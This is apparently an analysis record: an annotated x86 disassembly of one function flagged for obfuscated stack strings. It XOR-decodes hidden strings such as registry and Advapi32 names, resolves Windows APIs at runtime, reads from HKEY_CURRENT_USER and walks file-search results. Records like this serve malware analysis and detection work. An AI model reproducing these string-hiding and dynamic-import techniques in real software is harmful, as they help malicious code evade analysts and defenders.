Function at 0x4186f9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d71d
call fcn.0044d3f0
sub esp, 0x37c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0xe0], esi
and dword [ebp - 4], 0
movaps xmm0, xmmword [0x408850]
movups xmmword [ebp - 0xfa], xmm0
mov dword [ebp - 0xea], 0x3d39280f
mov word [ebp - 0xe6], 0x31
lea edx, [ebp - 0xfa]
xor ecx, ecx
mov dword [ebp - 0x11c], ecx
cmp ecx, 0x14
jae 0x418760
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0xfa]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x418744
mov byte [ebp - 0xe5], 0
mov dl, 0x3d
mov dword [ebp - 0x85], 0x5a586f3d
mov dword [ebp - 0x81], 0x53584d72
mov dword [ebp - 0x7d], 0x7c445876
mov byte [ebp - 0x79], 0
lea edi, [ebp - 0x85]
xor ecx, ecx
mov dword [ebp - 0x120], ecx
cmp ecx, 0xb
jae 0x4187b4
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x120], ecx
mov dl, byte [ebp - 0x85]
jmp 0x418796
mov byte [ebp - 0x79], 0
mov dl, 0x18
mov dword [ebp - 0xa0], 0x6e7c5918
mov dword [ebp - 0x9c], 0x2b716879
mov dword [ebp - 0x98], 0x747c362a
mov word [ebp - 0x94], 0x74
lea edi, [ebp - 0xa0]
xor ecx, ecx
mov dword [ebp - 0x124], ecx
cmp ecx, 0xc
jae 0x41880d
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x124], ecx
mov dl, byte [ebp - 0xa0]
jmp 0x4187ef
mov byte [ebp - 0x93], 0
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0xf9]
push eax
push 0x80000001
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x9f]
call fcn.0040af96
call eax
push 0x40835c
lea ecx, [ebp - 0x168]
call fcn.0040fb41
mov dl, 0x16
mov dword [ebp - 0x16], 0x58595816
mov byte [ebp - 0x12], 0
lea edi, [ebp - 0x16]
xor ecx, ecx
mov dword [ebp - 0x118], ecx
cmp ecx, 3
jae 0x41887d
mov al, byte [ecx + edi + 1]
xor al, dl
mov byte [ecx + edi + 1], al
inc ecx
mov dword [ebp - 0x118], ecx
mov dl, byte [ebp - 0x16]
jmp 0x418862
mov byte [ebp - 0x12], 0
lea eax, [ebp - 0x15]
push eax
lea ecx, [ebp - 0xfc]
call fcn.0040fb41
mov dl, 0x24
mov dword [ebp - 0x50], 0x41507724
mov dword [ebp - 0x4c], 0x45744945
mov word [ebp - 0x48], 0x4c50
mov byte [ebp - 0x46], 0
lea edi, [ebp - 0x50]
xor ecx, ecx
mov dword [ebp - 0x128], ecx
cmp ecx, 9
jae 0x4188d0
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x128], ecx
mov dl, byte [ebp - 0x50]
jmp 0x4188b5
mov byte [ebp - 0x46], 0
lea eax, [ebp - 0x4f]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.0040fb41
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x1a0]
push eax
push dword [ebp - 0xe4]
call fcn.00412536
lea ecx, [ebp - 0x1a0]
call fcn.0040fa99
lea ecx, [ebp - 0xfc]
call fcn.0040fa99
mov dl, 0x7b
mov dword [ebp - 0x92], 0x1c1e297b
mov dword [ebp - 0x8e], 0x8141738
mov dword [ebp - 0x8a], 0x21e301e
mov byte [ebp - 0x86], 0
lea edi, [ebp - 0x92]
xor ecx, ecx
mov dword [ebp - 0x12c], ecx
cmp ecx, 0xb
jae 0x41896c
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x12c], ecx
mov dl, byte [ebp - 0x92]
jmp 0x41894e
mov byte [ebp - 0x86], 0
mov dl, 0x5e
mov dword [ebp - 0xae], 0x283a1f5e
mov dword [ebp - 0xaa], 0x6d372e3f
mov dword [ebp - 0xa6], 0x323a706c
mov word [ebp - 0xa2], 0x32
lea edi, [ebp - 0xae]
xor ecx, ecx
mov dword [ebp - 0x134], ecx
cmp ecx, 0xc
jae 0x4189c8
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x134], ecx
mov dl, byte [ebp - 0xae]
jmp 0x4189aa
mov byte [ebp - 0xa1], 0
push dword [ebp - 0xe4]
lea edx, [ebp - 0x91]
lea ecx, [ebp - 0xad]
call fcn.0040af96
call eax
push 0x2e
pop edx
mov byte [ebp - 0x1b], dl
mov dword [ebp - 0x1a], 0x606160
lea edi, [ebp - 0x1b]
xor ecx, ecx
mov dword [ebp - 0x138], ecx
cmp ecx, 3
jae 0x418a1b
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x138], ecx
mov dl, byte [ebp - 0x1b]
jmp 0x418a00
mov byte [ebp - 0x17], 0
lea edx, [ebp - 0x1a]
lea ecx, [ebp - 0x168]
call fcn.0040ff4b
test al, al
je 0x418a4d
push 1
push dword [ebp + 8]
mov ecx, esi
call fcn.0040b2fd
lea ecx, [ebp - 0x168]
call fcn.0040fa99
jmp 0x418fa4
mov dl, 0x17
mov dword [ebp - 0x22], 0x71646417
mov word [ebp - 0x1e], 0x3d79
mov byte [ebp - 0x1c], 0
lea edi, [ebp - 0x22]
xor ecx, ecx
mov dword [ebp - 0x13c], ecx
cmp ecx, 5
jae 0x418a86
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x13c], ecx
mov dl, byte [ebp - 0x22]
jmp 0x418a6b
mov byte [ebp - 0x1c], 0
lea eax, [ebp - 0x21]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.0040fb41
push 0
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x168]
push eax
mov ecx, esi
call fcn.00411e16
lea ecx, [ebp - 0x1b8]
call fcn.0040fa99
mov dl, 0x25
mov dword [ebp - 0xbc], 0x57406e25
mov dword [ebp - 0xb8], 0x1649404b
mov dword [ebp - 0xb4], 0x49410b17
mov word [ebp - 0xb0], 0x49
lea esi, [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x140], ecx
cmp ecx, 0xc
jae 0x418b15
mov al, byte [ecx + esi + 1]
xor al, dl
mov byte [ecx + esi + 1], al
inc ecx
mov dword [ebp - 0x140], ecx
mov dl, byte [ebp - 0xbc]
jmp 0x418af7
mov byte [ebp - 0xaf], 0
movaps xmm0, xmmword [0x4087c0]
movups xmmword [ebp - 0x188], xmm0
lea edx, [ebp - 0x188]
xor ecx, ecx
mov dword [ebp - 0x144], ecx
cmp ecx, 0xe
jae 0x418b4e
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x188]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x418b32
mov byte [ebp - 0x179], 0
lea edi, [ebp - 0x187]
mov dl, 0x42
mov dword [ebp - 0xd9], 0x2d211e42
mov dword [ebp - 0xd5], 0x252b242c
mov dword [ebp - 0xd1], 0x346c681e
mov word [ebp - 0xcd], 0x2426
mov byte [ebp - 0xcb], 0
lea esi, [ebp - 0xd9]
xor ecx, ecx
mov dword [ebp - 0x148], ecx
cmp ecx, 0xd
jae 0x418bb7
mov al, byte [ecx + esi + 1]
xor al, dl
mov byte [ecx + esi + 1], al
inc ecx
mov dword [ebp - 0x148], ecx
mov dl, byte [ebp - 0xd9]
jmp 0x418b99
mov byte [ebp - 0xcb], 0
lea eax, [ebp - 0xd8]
push eax
lea edx, [ebp - 0x168]
lea ecx, [ebp - 0x1d0]
call fcn.0040fcf9
cmp dword [eax + 0x14], 0xf
jbe 0x418bde
mov eax, dword [eax]
lea esi, [ebp - 0x388]
push esi
push eax
mov edx, edi
lea ecx, [ebp - 0xbb]
call fcn.0040af96
call eax
mov edi, eax
lea ecx, [ebp - 0x1d0]
call fcn.0040fa99
xor esi, esi
mov dword [ebp - 0x100], esi
cmp edi, 0xffffffff
jne 0x418cc9
push 0x2c
pop edx
mov byte [ebp - 0x5b], dl
mov dword [ebp - 0x5a], 0x4842456a
mov dword [ebp - 0x56], 0x5f43406f
mov word [ebp - 0x52], 0x49
lea esi, [ebp - 0x5b]
xor ecx, ecx
mov dword [ebp - 0x14c], ecx
cmp ecx, 9
jae 0x418c53
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x14c], ecx
mov dl, byte [ebp - 0x5b]
jmp 0x418c38
mov byte [ebp - 0x51], 0
mov dl, 0x7e
mov dword [ebp - 0xca], 0xc1b357e
mov dword [ebp - 0xc6], 0x4d121b10
mov dword [ebp - 0xc2], 0x121a504c
mov word [ebp - 0xbe], 0x12
lea esi, [ebp - 0xca]
xor ecx, ecx
mov dword [ebp - 0x150], ecx
cmp ecx, 0xc
jae 0x418cac
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x150], ecx
mov dl, byte [ebp - 0xca]
jmp 0x418c8e
mov byte [ebp - 0xbd], 0
push edi
lea edx, [ebp - 0x5a]
lea ecx, [ebp - 0xc9]
call fcn.0040af96
call eax
jmp 0x418a3d
lea ecx, [ebp - 0x35c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418cd2
sub ecx, edx
cmp ecx, 0x12
jg 0x418e28
inc esi
mov dword [ebp - 0x100], esi
mov dl, 0x7b
mov dword [ebp - 0x37], 0x1418277b
mov dword [ebp - 0x33], 0x1c121d15
mov word [ebp - 0x2f], 0x27
xor ecx, ecx
mov dword [ebp - 0x104], ecx
cmp ecx, 8
jae 0x418d24
mov al, byte [ebp + ecx - 0x36]
xor al, dl
mov byte [ebp + ecx - 0x36], al
inc ecx
mov dword [ebp - 0x104], ecx
mov dl, byte [ebp - 0x37]
jmp 0x418d09
mov byte [ebp - 0x2e], 0
lea eax, [ebp - 0x35c]
push eax
push ecx
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x230]
call fcn.0040fd77
mov edx, eax
lea ecx, [ebp - 0x218]
call fcn.0040fd46
push eax
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x36]
push eax
lea edx, [ebp - 0x168]
lea ecx, [ebp - 0x200]
call fcn.0040fcf9
mov edx, eax
lea ecx, [ebp - 0x1e8]
call fcn.0040fd46
push eax
call fcn.0040b8bb
lea ecx, [ebp - 0x1e8]
call fcn.0040fa99
lea ecx, [ebp - 0x200]
call fcn.0040fa99
lea ecx, [ebp - 0x218]
call fcn.0040fa99
lea ecx, [ebp - 0x230]
call fcn.0040fa99
movups xmm0, xmmword [0x4089d0]
movups xmmword [ebp - 0x178], xmm0
xor ecx, ecx
mov dword [ebp - 0x108], ecx
cmp ecx, 0xe
jae 0x418dd9
mov al, byte [ebp + ecx - 0x177]
xor al, byte [ebp - 0x178]
mov byte [ebp + ecx - 0x177], al
inc ecx
jmp 0x418db7
mov byte [ebp - 0x169], 0
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x248]
call fcn.0040fb41
lea edx, [ebp - 0x177]
mov ecx, eax
call fcn.0040ff4b
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x248]
call fcn.0040fa99
cmp byte [ebp - 0x11], 0
je 0x418e28
push dword [ebp + 8]
lea eax, [ebp - 0x168]
push eax
mov ecx, dword [ebp - 0xe0]
call fcn.004131d9
mov dl, 0x6b
mov dword [ebp - 0x69], 0x190e206b
mov dword [ebp - 0x65], 0x58070e05
mov dword [ebp - 0x61], 0x70f4559
mov word [ebp - 0x5d], 7
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
cmp ecx, 0xc
jae 0x418e68
mov al, byte [ebp + ecx - 0x68]
xor al, dl
mov byte [ebp + ecx - 0x68], al
inc ecx
mov dword [ebp - 0x10c], ecx
mov dl, byte [ebp - 0x69]
jmp 0x418e4d
mov byte [ebp - 0x5c], 0
mov dl, 0x44
mov dword [ebp - 0x78], 0x2a2d0244
mov dword [ebp - 0x74], 0x3c210a20
mov dword [ebp - 0x70], 0x282d0230
mov word [ebp - 0x6c], 0x521
mov byte [ebp - 0x6a], 0
xor ecx, ecx
mov dword [ebp - 0x130], ecx
cmp ecx, 0xd
jae 0x418eb0
mov al, byte [ebp + ecx - 0x77]
xor al, dl
mov byte [ebp + ecx - 0x77], al
inc ecx
mov dword [ebp - 0x130], ecx
mov dl, byte [ebp - 0x78]
jmp 0x418e95
mov byte [ebp - 0x6a], 0
lea eax, [ebp - 0x388]
push eax
push edi
lea edx, [ebp - 0x77]
lea ecx, [ebp - 0x68]
call fcn.0040af96
call eax
test eax, eax
jne 0x418cc9
mov dl, 0x43
mov dword [ebp - 0x2d], 0x2d2a0543
mov dword [ebp - 0x29], 0x2c2f0027
mov word [ebp - 0x25], 0x2630
mov byte [ebp - 0x23], al
xor ecx, ecx
mov dword [ebp - 0x110], ecx
lea eax, [ebp - 0x2d]
cmp ecx, 9
jae 0x418f13
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x2d]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x110], ecx
mov dl, byte [ebp - 0x2d]
jmp 0x418ef2
mov byte [ebp - 0x23], 0
push 0x16
pop edx
mov byte [ebp - 0x45], dl
mov dword [ebp - 0x44], 0x7864735d
mov dword [ebp - 0x40], 0x24257a73
mov dword [ebp - 0x3c], 0x7a7a7238
mov byte [ebp - 0x38], 0
xor ecx, ecx
mov dword [ebp - 0x114], ecx
lea eax, [ebp - 0x45]
cmp ecx, 0xc
jae 0x418f5f
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x45]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x114], ecx
mov dl, byte [ebp - 0x45]
jmp 0x418f3e
mov byte [ebp - 0x38], 0
push edi
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x44]
call fcn.0040af96
call eax
test si, si
je 0x418f85
mov eax, dword [ebp - 0xe0]
mov byte [eax + 0x124], 1
jmp 0x418f95
push 1
push dword [ebp + 8]
mov ecx, dword [ebp - 0xe0]
call fcn.0040b2fd
lea ecx, [ebp - 0x168]
call fcn.0040fa99
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4